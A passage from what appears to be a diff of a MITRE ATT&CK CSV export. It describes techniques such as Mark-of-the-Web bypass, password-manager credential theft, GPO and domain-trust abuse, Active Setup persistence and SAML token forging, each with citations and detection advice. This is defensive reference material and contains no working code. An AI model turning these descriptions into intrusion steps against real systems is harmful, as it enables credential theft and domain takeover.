'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8'}, {'source_name': 'Beek Use of VHD Dec 2020', 'description': 'Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved February 22, 2021.', 'url': 'https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316'}, {'source_name': 'Outflank MotW 2020', 'description': 'Hegt, S. (2020, March 30). Mark-of-the-Web from a red team’s perspective. Retrieved February 22, 2021.', 'url': 'https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/'}, {'source_name': 'Intezer Russian APT Dec 2020', 'description': ""Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021."", 'url': 'https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/'}]",1.0,attack-pattern,attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-02-22T14:20:31.650Z,2021-04-13T22:47:08.289Z,Mark-of-the-Web Bypass,"Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020) + +Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)",['defense-evasion'],https://attack.mitre.org/techniques/T1553/005,mitre-attack,T1553.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Christiaan Beek, @ChristiaanBeek']","['File: File Creation', 'File: File Metadata']","['Anti-virus, Application control']","Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.",True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1555/005', 'external_id': 'T1555.005'}, {'source_name': 'ise Password Manager February 2019', 'description': 'ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.', 'url': 'https://www.ise.io/casestudies/password-manager-hacking/'}, {'source_name': 'FoxIT Wocao December 2019', 'description': 'Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.', 'url': 'https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf'}, {'source_name': 'Github KeeThief', 'description': 'Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021.', 'url': 'https://github.com/GhostPack/KeeThief'}, {'source_name': 'NVD CVE-2019-3610', 'description': 'National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021.', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2019-3610'}, {'source_name': 'Cyberreason Anchor December 2019', 'description': 'Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.', 'url': 'https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware'}]",1.0,attack-pattern,attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-01-22T16:08:40.629Z,2021-06-21T17:58:03.269Z,Password Managers,"Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019) Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610) - Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)",attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21,attack-pattern,['credential-access'],2021-04-14T19:15:22.416Z,2021-01-22T16:08:40.629Z,"Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. + Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)",['credential-access'],https://attack.mitre.org/techniques/T1555/005,mitre-attack,T1555.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matt Burrough, @mattburrough, Microsoft']","['Process: OS API Execution', 'File: File Access', 'Process: Process Access', 'Command: Command Execution']",,"Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. -Consider monitoring file reads surrounding known password manager applications.","['Process: OS API Execution', 'File: File Access', 'Process: Process Access', 'Command: Command Execution']","['Matt Burrough, @mattburrough, Microsoft']",,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1484.002', 'url': 'https://attack.mitre.org/techniques/T1484/002'}, {'source_name': 'Microsoft - Azure AD Federation', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed', 'description': 'Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020.'}, {'source_name': 'Microsoft - Azure Sentinel ADFSDomainTrustMods', 'url': 'https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml', 'description': 'Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.'}, {'source_name': 'Sygnia Golden SAML', 'url': 'https://www.sygnia.co/golden-saml-advisory', 'description': 'Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.'}, {'source_name': 'CISA SolarWinds Cloud Detection', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa21-008a', 'description': 'CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.'}, {'source_name': 'Microsoft - Update or Repair Federated domain', 'url': 'https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365', 'description': 'Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1484/002,mitre-attack,T1484.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Domain Trust Modification,"Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains. +Consider monitoring file reads surrounding known password manager applications.",True,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1484/002', 'external_id': 'T1484.002'}, {'source_name': 'Microsoft - Azure AD Federation', 'description': 'Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed'}, {'source_name': 'Microsoft - Azure Sentinel ADFSDomainTrustMods', 'description': 'Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.', 'url': 'https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml'}, {'source_name': 'Sygnia Golden SAML', 'description': 'Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.', 'url': 'https://www.sygnia.co/golden-saml-advisory'}, {'source_name': 'CISA SolarWinds Cloud Detection', 'description': 'CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa21-008a'}, {'source_name': 'Microsoft - Update or Repair Federated domain', 'description': 'Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.', 'url': 'https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365'}]",1.0,attack-pattern,attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-12-28T21:59:02.181Z,2021-01-11T18:21:20.213Z,Domain Trust Modification,"Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains. -Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.",attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee,attack-pattern,"['defense-evasion', 'privilege-escalation']",2021-01-11T18:21:20.213Z,2020-12-28T21:59:02.181Z,"Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection) +Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1484/002,mitre-attack,T1484.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Blake Strom, Microsoft 365 Defender']","['Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Modification', 'Command: Command Execution']",,"Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection) -Monitor for PowerShell commands such as: Update-MSOLFederatedDomain –DomainName: ""Federated Domain Name"", or Update-MSOLFederatedDomain –DomainName: ""Federated Domain Name"" –supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain)","['Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Modification', 'Command: Command Execution']","['Blake Strom, Microsoft 365 Defender']",,['Administrator'],"['Windows', 'Azure AD']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1484.001', 'url': 'https://attack.mitre.org/techniques/T1484/001'}, {'source_name': 'TechNet Group Policy Basics', 'url': 'https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/', 'description': 'srachui. (2012, February 13). Group Policy Basics – Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.'}, {'source_name': 'ADSecurity GPO Persistence 2016', 'url': 'https://adsecurity.org/?p=2716', 'description': 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.'}, {'source_name': 'Wald0 Guide to GPOs', 'url': 'https://wald0.com/?p=179', 'description': 'Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019.'}, {'source_name': 'Harmj0y Abusing GPO Permissions', 'url': 'http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/', 'description': 'Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019.'}, {'source_name': 'Mandiant M Trends 2016', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf', 'description': 'Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019.'}, {'source_name': 'Microsoft Hacking Team Breach', 'url': 'https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/', 'description': 'Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019.'}, {'source_name': 'Harmj0y SeEnableDelegationPrivilege Right', 'url': 'http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/', 'description': 'Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved March 5, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1484/001,mitre-attack,T1484.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Group Policy Modification,"Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) +Monitor for PowerShell commands such as: Update-MSOLFederatedDomain –DomainName: ""Federated Domain Name"", or Update-MSOLFederatedDomain –DomainName: ""Federated Domain Name"" –supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain)",True,['Administrator'],"['Windows', 'Azure AD']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1484/001', 'external_id': 'T1484.001'}, {'source_name': 'TechNet Group Policy Basics', 'description': 'srachui. (2012, February 13). Group Policy Basics – Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.', 'url': 'https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/'}, {'source_name': 'ADSecurity GPO Persistence 2016', 'description': 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.', 'url': 'https://adsecurity.org/?p=2716'}, {'source_name': 'Wald0 Guide to GPOs', 'description': 'Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019.', 'url': 'https://wald0.com/?p=179'}, {'source_name': 'Harmj0y Abusing GPO Permissions', 'description': 'Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019.', 'url': 'http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/'}, {'source_name': 'Mandiant M Trends 2016', 'description': 'Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf'}, {'source_name': 'Microsoft Hacking Team Breach', 'description': 'Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019.', 'url': 'https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/'}, {'source_name': 'Harmj0y SeEnableDelegationPrivilege Right', 'description': 'Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved March 5, 2019.', 'url': 'http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/'}]",1.0,attack-pattern,attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-12-28T21:50:59.844Z,2021-02-09T15:52:24.315Z,Group Policy Modification,"Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain. Malicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs) -For example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)",attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163,attack-pattern,"['defense-evasion', 'privilege-escalation']",2021-02-09T15:52:24.315Z,2020-12-28T21:50:59.844Z,"It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including: +For example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1484/001,mitre-attack,T1484.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Itamar Mizrahi, Cymptom', 'Tristan Bennett, Seamless Intelligence']","['Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Deletion', 'Active Directory: Active Directory Object Modification', 'Command: Command Execution']",,"It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including: * Event ID 5136 - A directory service object was modified * Event ID 5137 - A directory service object was created @@ -115,32 +224,32 @@ For example, publicly available scripts such as New-GPOImmediateTask HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016) -Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",attack-pattern--22522668-ddf6-470b-a027-9d6866679f67,attack-pattern,"['persistence', 'privilege-escalation']",2021-03-05T22:36:37.414Z,2020-12-18T16:33:13.098Z,"Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\. +Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1547/014,mitre-attack,T1547.014,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)']","['Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Command: Command Execution']",,"Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\. -Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.","['Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Command: Command Execution']","['Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)']",,['Administrator'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1606.002', 'url': 'https://attack.mitre.org/techniques/T1606/002'}, {'source_name': 'Microsoft SolarWinds Steps', 'url': 'https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/', 'description': 'Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020.'}, {'source_name': 'Microsoft SAML Token Lifetimes', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes', 'description': 'Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020.'}, {'source_name': 'Cyberark Golden SAML', 'url': 'https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps', 'description': 'Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020.'}, {'source_name': 'Microsoft SolarWinds Customer Guidance', 'url': 'https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/', 'description': 'MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.'}, {'source_name': 'Sygnia Golden SAML', 'url': 'https://www.sygnia.co/golden-saml-advisory', 'description': 'Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.1,True,https://attack.mitre.org/techniques/T1606/002,mitre-attack,T1606.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,SAML Tokens,"An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML) +Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.",True,['Administrator'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1606/002', 'external_id': 'T1606.002'}, {'source_name': 'Microsoft SolarWinds Steps', 'description': 'Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020.', 'url': 'https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/'}, {'source_name': 'Microsoft SAML Token Lifetimes', 'description': 'Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes'}, {'source_name': 'Cyberark Golden SAML', 'description': 'Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020.', 'url': 'https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps'}, {'source_name': 'Microsoft SolarWinds Customer Guidance', 'description': 'MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.', 'url': 'https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/'}, {'source_name': 'Sygnia Golden SAML', 'description': 'Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.', 'url': 'https://www.sygnia.co/golden-saml-advisory'}]",1.2,attack-pattern,attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-12-17T15:24:12.240Z,2021-09-20T16:47:19.173Z,SAML Tokens,"An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML) An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users. -An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)",attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2,attack-pattern,['credential-access'],2021-04-14T14:29:27.290Z,2020-12-17T15:24:12.240Z,"This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML) +An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)",['credential-access'],https://attack.mitre.org/techniques/T1606/002,mitre-attack,T1606.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jen Burns, HubSpot', 'Blake 